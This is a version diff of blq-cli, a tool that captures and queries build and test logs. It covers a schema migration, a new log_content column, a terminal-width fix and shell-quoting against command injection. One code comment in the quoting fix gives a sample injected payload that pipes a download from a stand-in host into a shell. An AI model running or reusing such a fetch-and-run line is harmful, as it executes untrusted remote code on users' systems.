blq-cli 1.0.1__tar.gz → 1.1.0__tar.gz

{blq_cli-1.0.1 → blq_cli-1.1.0}/AGENTS.md

@@ -560,7 +560,7 @@ Pre-built prompts that guide agents through common workflows:
   "file_path": "src/main.c",
   "line_number": 15,
   "message": "undefined variable 'foo'",
-  "raw_text": "src/main.c:15:5: error: use of undeclared identifier 'foo'",
+  "log_content": "src/main.c:15:5: error: use of undeclared identifier 'foo'",
   "fingerprint": "abc123...",
   "cwd": "/home/user/project",
   "hostname": "dev-machine",

blq_cli-1.1.0/CHANGELOG.md

@@ -0,0 +1,82 @@
+# Changelog
+
+## v1.1.0
+
+Three fixes with one theme: blq reported success while losing the thing it was
+asked to capture. Schema moves 3.0.0 -> 3.1.0 and migrates automatically on the
+next open; no user action, existing rows are preserved.
+
+### Fixed — `import` and `capture` wrote data no query could read (#50)
+
+`cmd_import` and `cmd_capture` called `write_run_parquet` unconditionally, while
+`exec`/`run` branch on `config.use_bird`. BIRD is the default storage mode, so on
+a default project an import produced a well-formed parquet under `.bird/logs/`
+that the query layer — a view over the BIRD tables — never reads:
+
+    $ blq import report.json --format pytest_json
+    Imported 2 events (2 errors, 0 warnings)
+    Saved to .bird/logs/date=.../source=import/001_report.parquet
+    $ blq events
+    (no data)
+
+Success, a destination path, exit 0, a real file, and no observable effect. The
+storage branch had been added to the exec path and never to these two. Both now
+route through the configured backend; parquet mode is unchanged.
+
+This mattered most for the richest source available: a `pytest_json` import
+carries the whole failure block — assertion, source line, and the
+`+ where None = normalize(...)` line naming the function under test — where a
+default text capture of the same run carried seven characters.
+
+### Fixed — captured children were told the terminal was 80 columns (#49)
+
+Anything that formats for a terminal consults `COLUMNS` and falls back to 80
+without a TTY, which is always true under a capturing runner. `pytest -q`
+abbreviates its short-summary line on that basis, and blq parses that line, so
+the stored message lost everything past roughly 80 columns minus the test name.
+How diagnosable a failure was depended on how long someone had named the test:
+
+| test name | message stored |
+|---|---|
+| 73 characters | 7 — `asse...` |
+| 35 characters | 45 — nothing lost |
+
+Captured children now receive `COLUMNS=200` unless the caller set one; an
+explicit `COLUMNS=80` still truncates, which is the caller's choice. Applied in
+`blq.ext.capture_env`, covering `LocalExecutor` (the path `exec`/`run` take) and
+the two direct `Popen` sites, plus the sandbox profiler for consistency.
+
+### Fixed — duck_hunt's `log_content` was received and discarded (#52)
+
+duck_hunt returns the entire failure block in `log_content`. blq queries
+`SELECT *` so it received the column, then dropped it at write time because the
+event schema had no place for it — keeping only `log_line_start`/`log_line_end`,
+pointers into a log not retained unless `--keep-raw` is set. Measured on one
+assertion failure: **391 characters available, 16 persisted.**
+
+`events.log_content` now exists in both backends, exposed through
+`blq_load_events()`, capped at 32K with the truncation stated in the value
+rather than applied silently.
+
+The vestigial `raw_text` column was renamed rather than duplicated: nothing
+wrote it, its only reader looked up a key duck_hunt does not emit, and
+`docs/design/duck-hunt-v3-migration.md` already recorded `raw_text -> log_content`
+as the intended migration. Old parquet files stay readable via
+`union_by_name = true`. The MCP `event` tool now returns a populated
+`log_content` where it previously returned an always-null `raw_text`.
+
+### Migration
+
+Schema 3.0.0 -> 3.1.0, handled by the existing self-heal on next open. Two
+layers, following the `extension_data` precedent: a version-keyed migration that
+drops dependent views before the `ALTER`, and a version-independent column
+reconcile so a database whose version advanced without the `ALTER` landing is
+still repaired. Verified against a database built from the shipped 3.0.0 schema
+with prior data: version advances, existing rows survive with NULL, new rows
+carry the block.
+
+
+## v1.0.2
+
+### Bug fixes
+- **Self-heal DBs stuck without `extension_data`.** The 2.3->2.4 migration renamed `sandbox` -> `extension_data` via `RENAME COLUMN`, which DuckDB blocks when non-view dependencies (FKs/constraints) exist on `attempts`/`invocations` — even after dropping views. The rename failed silently but the schema version advanced anyway, leaving DBs permanently stuck without `extension_data` and crashing every `write_attempt` ("Table attempts does not have a column extension_data"). `_ensure_schema` now self-heals version-independently: it gates on a missing column, adds `extension_data` via `ADD COLUMN` (never blocked), copies any existing `sandbox` data across (wrapped as `{"sandbox": ...}`, no data loss), and re-applies the idempotent schema to recreate views. Healthy/fresh DBs stay a fast no-op. Repairs on next connect (the CLI heals on the next `blq run`; a running MCP server heals after restart).

{blq_cli-1.0.1 → blq_cli-1.1.0}/PKG-INFO

@@ -1,6 +1,6 @@
-Metadata-Version: 2.4
+Metadata-Version: 2.5
 Name: blq-cli
-Version: 1.0.1
+Version: 1.1.0
 Summary: Build Log Query - capture and query build/test logs with DuckDB
 Project-URL: Homepage, https://blq-cli.readthedocs.io/
 Project-URL: Repository, https://github.com/teaguesterling/blq-cli

{blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/duck-hunt-v3-migration.md

@@ -4,6 +4,10 @@
 
 This document outlines the changes needed to migrate blq to duck_hunt's Schema V3.
 
+> **Status:** the `ref_*` renames and the `raw_text` -> `log_content` rename have
+> landed (the latter in #52, which also began populating the column in both
+> storage backends). The `log_file` field is still not persisted.
+
 ## Key Changes
 
 ### 1. Field Renames

{blq_cli-1.0.1 → blq_cli-1.1.0}/docs/schema.md

@@ -86,6 +86,7 @@ Parsed diagnostics (errors, warnings, test results).
 | `fingerprint` | VARCHAR | Unique identifier for deduplication |
 | `log_line_start` | INTEGER | Start line in raw log |
 | `log_line_end` | INTEGER | End line in raw log |
+| `log_content` | VARCHAR | Raw log block for this event (e.g. the whole pytest FAILURES block); capped at 32768 chars, with a visible marker when truncated |
 | `context` | VARCHAR | Surrounding context |
 | `metadata` | JSON | Format-specific extras |
 | `format_used` | VARCHAR | Parser format (gcc, cargo, pytest) |

{blq_cli-1.0.1 → blq_cli-1.1.0}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "blq-cli"
-version = "1.0.1"
+version = "1.1.0"
 description = "Build Log Query - capture and query build/test logs with DuckDB"
 readme = "README.md"
 license = "MIT"

{blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/bird.py

@@ -32,6 +32,34 @@ logger = logging.getLogger("blq-bird")
 # Type variable for retry function
 T = TypeVar("T")
 
+# Current BIRD schema version. Must match the value seeded by bird_schema.sql;
+# _needs_repair/_apply_migrations compare a database's stored version against it.
+SCHEMA_VERSION = "3.1.0"
+
+
+def _version_tuple(version: str) -> tuple[int, int]:
+    """(major, minor) of a version string, or (0, 0) if unparseable."""
+    try:
+        parts = [int(p) for p in version.split(".")]
+    except (ValueError, AttributeError):
+        return (0, 0)
+    if not parts:
+        return (0, 0)
+    return (parts[0], parts[1] if len(parts) > 1 else 0)
+
+
+LATEST_SCHEMA = _version_tuple(SCHEMA_VERSION)
+
+# Columns that must exist on a table regardless of the recorded schema version.
+# A migration can fail silently (DuckDB blocks ALTER while views depend on the
+# table) and let the version advance past itself, so these are also checked
+# directly and re-added by _reconcile_schema.
+REQUIRED_COLUMNS: dict[str, dict[str, str]] = {
+    "attempts": {"extension_data": "JSON"},
+    "invocations": {"extension_data": "JSON"},
+    "events": {"log_content": "VARCHAR"},
+}
+
 # Default retry settings for lock contention
 DEFAULT_MAX_RETRIES = 5
 DEFAULT_INITIAL_DELAY = 0.05  # 50ms
@@ -99,8 +127,9 @@ def retry_on_lock(
     raise last_error
 
 
-# Schema version
-BIRD_SCHEMA_VERSION = "2.1.0"
+# (BIRD_SCHEMA_VERSION used to live here, hardcoded at "2.1.0" and read by
+# nothing — a second, stale version constant. SCHEMA_VERSION above is the one
+# the schema file and the migrations agree on.)
 
 # Storage thresholds (per BIRD spec)
 DEFAULT_INLINE_THRESHOLD = 4096  # 4KB - outputs smaller than this are stored inline
@@ -420,13 +449,26 @@ class BirdStore:
                 ).fetchone()
                 if result:
                     current_version = result[0]
-                    # Apply any pending migrations
-                    cls._apply_migrations(conn, current_version)
-                    return
             except duckdb.Error:
                 pass  # Table doesn't exist, need to create
 
-        # Load schema from SQL file
+        if current_version is not None and not force:
+            # Existing DB. Only touch it when there's pending migration work or a
+            # column a past (possibly silently-failed) migration never added;
+            # otherwise this is a fast no-op.
+            if not cls._needs_repair(conn, current_version):
+                return
+            # DuckDB blocks column ALTER/RENAME while views depend on the table
+            # (this is what left old DBs stuck without extension_data). Drop all
+            # views first so migrations + the reconcile can alter the base tables;
+            # re-applying the schema below recreates every view.
+            cls._drop_all_views(conn)
+            cls._apply_migrations(conn, current_version)
+            cls._reconcile_schema(conn)
+
+        # Load schema from SQL file (idempotent: CREATE TABLE IF NOT EXISTS,
+        # INSERT OR IGNORE, CREATE OR REPLACE VIEW — safe to re-apply, and it
+        # recreates any views dropped above).
         schema_path = Path(__file__).parent / "bird_schema.sql"
         if schema_path.exists():
             schema_sql = schema_path.read_text()
@@ -504,6 +546,97 @@ class BirdStore:
 
         return statements
 
+    @classmethod
+    def _needs_repair(cls, conn: duckdb.DuckDBPyConnection, current_version: str) -> bool:
+        """True if the DB needs migration/repair — pending version bump OR a
+        required column a past (possibly silently-failed) migration never added.
+
+        Keeps the common path a fast no-op: a fully current DB returns False, so
+        _ensure_schema doesn't drop/recreate views on every connect.
+        """
+        try:
+            parts = [int(p) for p in current_version.split(".")]
+            major, minor = parts[0], parts[1] if len(parts) > 1 else 0
+            if (major, minor) < LATEST_SCHEMA:
+                return True
+        except (ValueError, IndexError):
+            return True  # unparseable version — reconcile to be safe
+        # Self-heal for migrations that failed silently on dependent views and
+        # then let the version advance past themselves (leaving no column).
+        for table, required in REQUIRED_COLUMNS.items():
+            for column in required:
+                try:
+                    has = conn.execute(
+                        "SELECT 1 FROM information_schema.columns "
+                        f"WHERE table_name = '{table}' AND column_name = '{column}'"
+                    ).fetchone()
+                    if not has:
+                        return True
+                except duckdb.Error:
+                    return True
+        return False
+
+    @staticmethod
+    def _drop_all_views(conn: duckdb.DuckDBPyConnection) -> None:
+        """Drop all views so base-table column ALTER/RENAME isn't blocked by
+        dependents. The schema is re-applied afterward (CREATE OR REPLACE VIEW)
+        to recreate them."""
+        try:
+            views = conn.execute(
+                "SELECT table_name FROM information_schema.tables WHERE table_type = 'VIEW'"
+            ).fetchall()
+        except duckdb.Error:
+            return
+        for (name,) in views:
+            try:
+                conn.execute(f'DROP VIEW IF EXISTS "{name}" CASCADE')
+            except duckdb.Error:
+                pass
+
+    @classmethod
+    def _reconcile_schema(cls, conn: duckdb.DuckDBPyConnection) -> None:
+        """Version-independent self-heal: ensure every column in REQUIRED_COLUMNS
+        exists, even if the migration that should have added it failed silently
+        (blocked by dependent views) and the schema version advanced past it.
+        Views must already be dropped by the caller so the ALTER can proceed.
+
+        Uses ADD COLUMN, NOT rename: RENAME COLUMN on these tables is blocked by
+        non-view dependencies (FKs/constraints) that persist even after dropping
+        views, whereas ADD COLUMN is never blocked. For `extension_data`,
+        existing `sandbox` data (from the 2.3 migration) is copied into the new
+        column wrapped as {"sandbox": ...}; the now-redundant `sandbox` column is
+        left in place (harmless, and DROP COLUMN hits the same dependency wall).
+        """
+        for table, required in REQUIRED_COLUMNS.items():
+            try:
+                cols = {
+                    r[0]
+                    for r in conn.execute(
+                        "SELECT column_name FROM information_schema.columns "
+                        f"WHERE table_name = '{table}'"
+                    ).fetchall()
+                }
+            except duckdb.Error as e:
+                logger.warning(f"Schema reconcile warning ({table}): {e}")
+                continue
+            if not cols:
+                continue  # table doesn't exist yet; the schema file will create it
+            for column, column_type in required.items():
+                if column in cols:
+                    continue
+                try:
+                    conn.execute(f"ALTER TABLE {table} ADD COLUMN {column} {column_type}")
+                    if column == "extension_data" and "sandbox" in cols:
+                        conn.execute(
+                            f"UPDATE {table} SET extension_data = "
+                            f"json_object('sandbox', sandbox) WHERE sandbox IS NOT NULL"
+                        )
+                        logger.info(f"Repaired {table}: added extension_data (copied sandbox data)")
+                    else:
+                        logger.info(f"Repaired {table}: added {column}")
+                except duckdb.Error as e:
+                    logger.warning(f"Schema reconcile warning ({table}.{column}): {e}")
+
     @classmethod
     def _apply_migrations(cls, conn: duckdb.DuckDBPyConnection, current_version: str) -> None:
         """Apply schema migrations from current version to latest.
@@ -557,48 +690,31 @@ class BirdStore:
             # Update schema version
             conn.execute("UPDATE blq_metadata SET value = '2.3.0' WHERE key = 'schema_version'")
 
-        # Migration: 2.3.0 -> 2.4.0 (rename sandbox to extension_data)
+        # Migration: 2.3.0 -> 2.4.0 (sandbox -> extension_data).
+        # RENAME COLUMN is blocked by non-view dependencies on these tables, so
+        # this is done as ADD + copy via _reconcile_schema (which is idempotent
+        # and always succeeds), rather than the RENAME that silently failed and
+        # left old DBs stuck without extension_data.
         if (major, minor) < (2, 4):
-            migration_ok = True
-            for table in ("attempts", "invocations"):
-                try:
-                    # Check if old column exists
-                    result = conn.execute(
-                        "SELECT column_name FROM information_schema.columns "
-                        f"WHERE table_name = '{table}' AND column_name = 'sandbox'"
-                    ).fetchone()
-                    if result:
-                        conn.execute(f"ALTER TABLE {table} RENAME COLUMN sandbox TO extension_data")
-                        # Wrap existing sandbox data in {"sandbox": ...} envelope
-                        conn.execute(
-                            f"UPDATE {table} SET extension_data = "
-                            f"json_object('sandbox', extension_data) "
-                            f"WHERE extension_data IS NOT NULL"
-                        )
-                        logger.info(f"Migration: Renamed sandbox to extension_data in {table}")
-                        migrations_applied = True
-                    else:
-                        # Check if new column exists, add if not
-                        result = conn.execute(
-                            "SELECT column_name FROM information_schema.columns "
-                            f"WHERE table_name = '{table}' AND column_name = 'extension_data'"
-                        ).fetchone()
-                        if not result:
-                            conn.execute(f"ALTER TABLE {table} ADD COLUMN extension_data JSON")
-                            logger.info(f"Migration: Added extension_data column to {table}")
-                            migrations_applied = True
-                except duckdb.Error as e:
-                    logger.warning(f"Migration warning: {e}")
-                    migration_ok = False
-
-            if migration_ok:
-                conn.execute("UPDATE blq_metadata SET value = '2.4.0' WHERE key = 'schema_version'")
+            cls._reconcile_schema(conn)
+            migrations_applied = True
+            conn.execute("UPDATE blq_metadata SET value = '2.4.0' WHERE key = 'schema_version'")
 
         # Migration: 2.4.0 -> 3.0.0 (directory rename .lq -> .bird, no table changes)
         if (major, minor) < (3, 0):
             conn.execute("UPDATE blq_metadata SET value = '3.0.0' WHERE key = 'schema_version'")
             logger.info("Migration: Updated schema version to 3.0.0 (BIRD directory)")
 
+        # Migration: 3.0.0 -> 3.1.0 (add events.log_content — duck_hunt's raw
+        # block for the event, previously received and dropped; see #52).
+        # _reconcile_schema does the ADD COLUMN and is idempotent, so it also
+        # covers a DB whose version advanced without the column landing.
+        if (major, minor) < (3, 1):
+            cls._reconcile_schema(conn)
+            migrations_applied = True
+            conn.execute("UPDATE blq_metadata SET value = '3.1.0' WHERE key = 'schema_version'")
+            logger.info("Migration: Added log_content column to events table")
+
         # If migrations were applied, reload views/macros to pick up new columns
         if migrations_applied:
             cls._reload_views_and_macros(conn)
@@ -1511,6 +1627,10 @@ class BirdStore:
         if not events:
             return 0
 
+        # Local import: core imports nothing from bird at module scope, and this
+        # mirrors the existing lazy-import pattern used elsewhere in this module.
+        from blq.commands.core import truncate_log_content
+
         date = datetime.now().strftime("%Y-%m-%d")
 
         for idx, event in enumerate(events):
@@ -1522,10 +1642,10 @@ class BirdStore:
                     id, invocation_id, event_index, client_id, hostname,
                     event_type, severity, ref_file, ref_line, ref_column,
                     message, code, rule, tool_name, category, test_name,
-                    fingerprint, log_line_start, log_line_end, context,
-                    metadata, format_used, date
+                    fingerprint, log_line_start, log_line_end, log_content,
+                    context, metadata, format_used, date
                 )
-                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
                 """,
                 [
                     event_id,
@@ -1547,6 +1667,7 @@ class BirdStore:
                     event.get("fingerprint"),
                     event.get("log_line_start"),
                     event.get("log_line_end"),
+                    truncate_log_content(event.get("log_content")),
                     event.get("context"),
                     json.dumps(event.get("metadata")) if event.get("metadata") else None,
                     format_used,

{blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/bird_schema.sql

@@ -26,7 +26,8 @@ CREATE TABLE IF NOT EXISTS blq_metadata (
 );
 
 -- Insert schema version (ignore if exists)
-INSERT OR IGNORE INTO blq_metadata VALUES ('schema_version', '3.0.0');
+-- Keep in sync with SCHEMA_VERSION in bird.py (migrations key off it)
+INSERT OR IGNORE INTO blq_metadata VALUES ('schema_version', '3.1.0');
 INSERT OR IGNORE INTO blq_metadata VALUES ('storage_mode', 'duckdb');
 
 -- Base path for blob storage (set at runtime)
@@ -230,6 +231,7 @@ CREATE TABLE IF NOT EXISTS events (
     fingerprint       VARCHAR,                          -- Unique identifier for dedup
     log_line_start    INTEGER,                          -- Start line in raw log
     log_line_end      INTEGER,                          -- End line in raw log
+    log_content       VARCHAR,                          -- Raw log block for this event (duck_hunt log_content)
     context           VARCHAR,                          -- Surrounding context
     metadata          JSON,                             -- Format-specific extras
 
@@ -344,6 +346,7 @@ SELECT
     e.fingerprint,
     e.log_line_start,
     e.log_line_end,
+    e.log_content,
     e.context,
     e.metadata,
 

{blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/core.py

@@ -11,6 +11,7 @@ import json
 import logging
 import os
 import re
+import shlex
 import shutil
 import subprocess
 import sys
@@ -1320,15 +1321,21 @@ def expand_command(
                 raise ValueError(f"Missing required argument '{placeholder.name}'")
 
     # Substitute placeholders in template
+    # The expanded string is run with shell=True, so every value that comes from
+    # a caller (placeholder values and passthrough/extra args) is shell-quoted to
+    # prevent injection (e.g. `&& curl evil | sh`). The template itself is trusted
+    # (defined at registration) and is left intact so it may carry intentional
+    # shell syntax. Note: a placeholder value is now a single shell token — a
+    # value like "-k foo" no longer splits into two arguments.
     result = template
     for match in _PLACEHOLDER_PATTERN.finditer(template):
         name = match.group(1)
-        result = result.replace(match.group(0), values[name], 1)
+        result = result.replace(match.group(0), shlex.quote(values[name]), 1)
 
-    # Append extra args
+    # Append extra args (each quoted so passthrough args stay literal argv tokens)
     all_extra = remaining_positional + (extra_args or [])
     if all_extra:
-        result = result + " " + " ".join(all_extra)
+        result = result + " " + " ".join(shlex.quote(arg) for arg in all_extra)
 
     return result
 
@@ -1860,6 +1867,37 @@ def get_next_run_id(lq_dir: Path) -> int:
     return max_id + 1 if max_id > 0 else 1
 
 
+# ============================================================================
+# Event content
+# ============================================================================
+
+# Cap on the stored `log_content` (duck_hunt's raw block for an event, e.g. the
+# whole pytest FAILURES block). It is bounded in practice — the block, not the
+# log — but not in principle: a parser that spans a large region, or a test that
+# dumps a large diff, can produce a very big value, and every event of a run
+# would carry its own copy. 32K is well above any realistic traceback while
+# keeping a pathological run from bloating storage.
+LOG_CONTENT_MAX_CHARS = 32_768
+
+
+def truncate_log_content(value: str | None, max_chars: int = LOG_CONTENT_MAX_CHARS) -> str | None:
+    """Cap `log_content`, making any truncation visible in the value itself.
+
+    Silent shortening has bitten this codebase before, so an over-long value
+    keeps its head and gains a marker stating what was kept and what existed:
+
+        ... [blq: log_content truncated to 32768 of 91234 chars]
+
+    Values at or under the cap are returned unchanged (including None/"").
+    """
+    if not value or len(value) <= max_chars:
+        return value
+    return (
+        value[:max_chars]
+        + f"\n... [blq: log_content truncated to {max_chars} of {len(value)} chars]"
+    )
+
+
 # ============================================================================
 # Parquet Writing
 # ============================================================================
@@ -1901,7 +1939,11 @@ PARQUET_SCHEMA = [
     ("ref_column", "BIGINT"),
     # Content
     ("message", "VARCHAR"),
-    ("raw_text", "VARCHAR"),
+    # duck_hunt's raw block for this event (e.g. the whole pytest FAILURES
+    # block). Replaces the vestigial `raw_text`, which nothing ever populated —
+    # duck_hunt's field has been named log_content since its Schema V3
+    # (see docs/design/duck-hunt-v3-migration.md).
+    ("log_content", "VARCHAR"),
     # Classification
     ("tool_name", "VARCHAR"),
     ("category", "VARCHAR"),
@@ -1974,6 +2016,8 @@ def write_run_parquet(
     for event in events or [{}]:
         # Merge run metadata and event data
         merged = {**run_meta, **event}
+        if merged.get("log_content"):
+            merged["log_content"] = truncate_log_content(merged["log_content"])
         # Build row with all columns in schema order
         vals = []
         for col in PARQUET_SCHEMA_COLUMNS:

{blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/execution.py

@@ -45,7 +45,7 @@ from blq.commands.core import (
     parse_log_content,
     write_run_parquet,
 )
-from blq.ext import CommandSpec
+from blq.ext import CommandSpec, capture_env
 from blq.ext.discovery import load_extensions, order_extensions
 from blq.ext.local_executor import LocalExecutor
 from blq.ext.pipeline import run_pipeline
@@ -772,6 +772,7 @@ def _execute_command(
             stderr=subprocess.STDOUT,
             text=True,
             start_new_session=True,
+            env=capture_env(),
         )
 
         output_lines: list[str] = []
@@ -1137,6 +1138,7 @@ def _run_no_capture(command: str, quiet: bool = False) -> int:
             stderr=subprocess.STDOUT,
             text=True,
             start_new_session=True,
+            env=capture_env(),
         )
 
         assert process.stdout is not None  # stdout=PIPE ensures this
@@ -1559,6 +1561,39 @@ def cmd_exec(args: argparse.Namespace) -> None:
     sys.exit(result.exit_code)
 
 
+def _write_imported_run(
+    events: list[dict[str, Any]],
+    run_meta: dict[str, Any],
+    config: "BlqConfig",
+    lq_dir: Path,
+) -> Path:
+    """Persist an imported/captured run to the ACTIVE storage backend.
+
+    `import` and `capture` used to call `write_run_parquet` unconditionally,
+    while `exec`/`run` branch on `config.use_bird`. BIRD is the default storage
+    mode, so on a default project those two commands wrote a well-formed
+    parquet under `.bird/logs/` that the query layer — a view over the BIRD
+    tables — never reads:
+
+        $ blq import report.json --format pytest_json
+        Imported 2 events (2 errors, 0 warnings)
+        Saved to .bird/logs/date=.../source=import/001_report.parquet
+        $ blq events
+        (no data)
+
+    Success, a destination path, exit 0, a real file, and nothing observable.
+    The branch was added to the exec path and never to these two.
+
+    Raw output is deliberately not stored here: neither command previously
+    retained it, and this function is fixing where events land, not what else
+    gets kept.
+    """
+    if config.use_bird:
+        _invocation_id, db_path = write_bird_invocation(events, run_meta, lq_dir)
+        return db_path
+    return write_run_parquet(events, run_meta, lq_dir)
+
+
 def cmd_import(args: argparse.Namespace) -> None:
     """Import an existing log file."""
     config = BlqConfig.ensure()
@@ -1587,7 +1622,7 @@ def cmd_import(args: argparse.Namespace) -> None:
         "exit_code": 0,
     }
 
-    outpath = write_run_parquet(events, run_meta, lq_dir)
+    outpath = _write_imported_run(events, run_meta, config, lq_dir)
 
     errors = sum(1 for e in events if e.get("severity") == "error")
     warnings = sum(1 for e in events if e.get("severity") == "warning")
@@ -1620,7 +1655,7 @@ def cmd_capture(args: argparse.Namespace) -> None:
         "exit_code": 0,
     }
 
-    outpath = write_run_parquet(events, run_meta, lq_dir)
+    outpath = _write_imported_run(events, run_meta, config, lq_dir)
 
     errors = sum(1 for e in events if e.get("severity") == "error")
     warnings = sum(1 for e in events if e.get("severity") == "warning")

{blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/migrate.py

@@ -196,6 +196,7 @@ def _migrate_parquet_to_bird(
                             "fingerprint": event.get("fingerprint"),
                             "log_line_start": event.get("log_line_start"),
                             "log_line_end": event.get("log_line_end"),
+                            "log_content": event.get("log_content"),
                         }
                     )
 

{blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/ext/__init__.py

@@ -11,6 +11,8 @@ from datetime import datetime
 from pathlib import Path
 from typing import Any, Protocol
 
+import os
+
 
 @dataclass
 class CommandSpec:
@@ -83,3 +85,32 @@ class Executor(Protocol):
     name: str
 
     def execute(self, spec: CommandSpec) -> ExecutionResult: ...
+
+
+#: Terminal width presented to captured child processes. Wide enough that the
+#: tools we parse stop abbreviating; not so wide that a tool wrapping to it
+#: produces unreadable raw logs.
+CAPTURE_COLUMNS = 200
+
+
+def capture_env(base: dict[str, str] | None = None) -> dict[str, str]:
+    """Environment for a captured child process.
+
+    Anything that formats for a terminal consults COLUMNS (or an ioctl) and
+    falls back to 80 columns when there is no TTY — which is always, under a
+    capturing runner. `pytest -q` abbreviates its short-summary line on that
+    basis, and since blq parses that line, the stored message loses everything
+    past roughly 80 columns minus the length of the test name:
+
+        73-char test name  ->   7 characters survive ('asse...')
+        35-char test name  ->  45 characters survive, nothing is lost
+
+    So how diagnosable a failure was depended on how long someone had named
+    the test. Presenting a wide COLUMNS fixes the whole class at the point of
+    capture — no parser can recover text the tool never printed.
+
+    An explicit COLUMNS from the caller wins: someone who set it meant it.
+    """
+    env = dict(os.environ if base is None else base)
+    env.setdefault("COLUMNS", str(CAPTURE_COLUMNS))
+    return env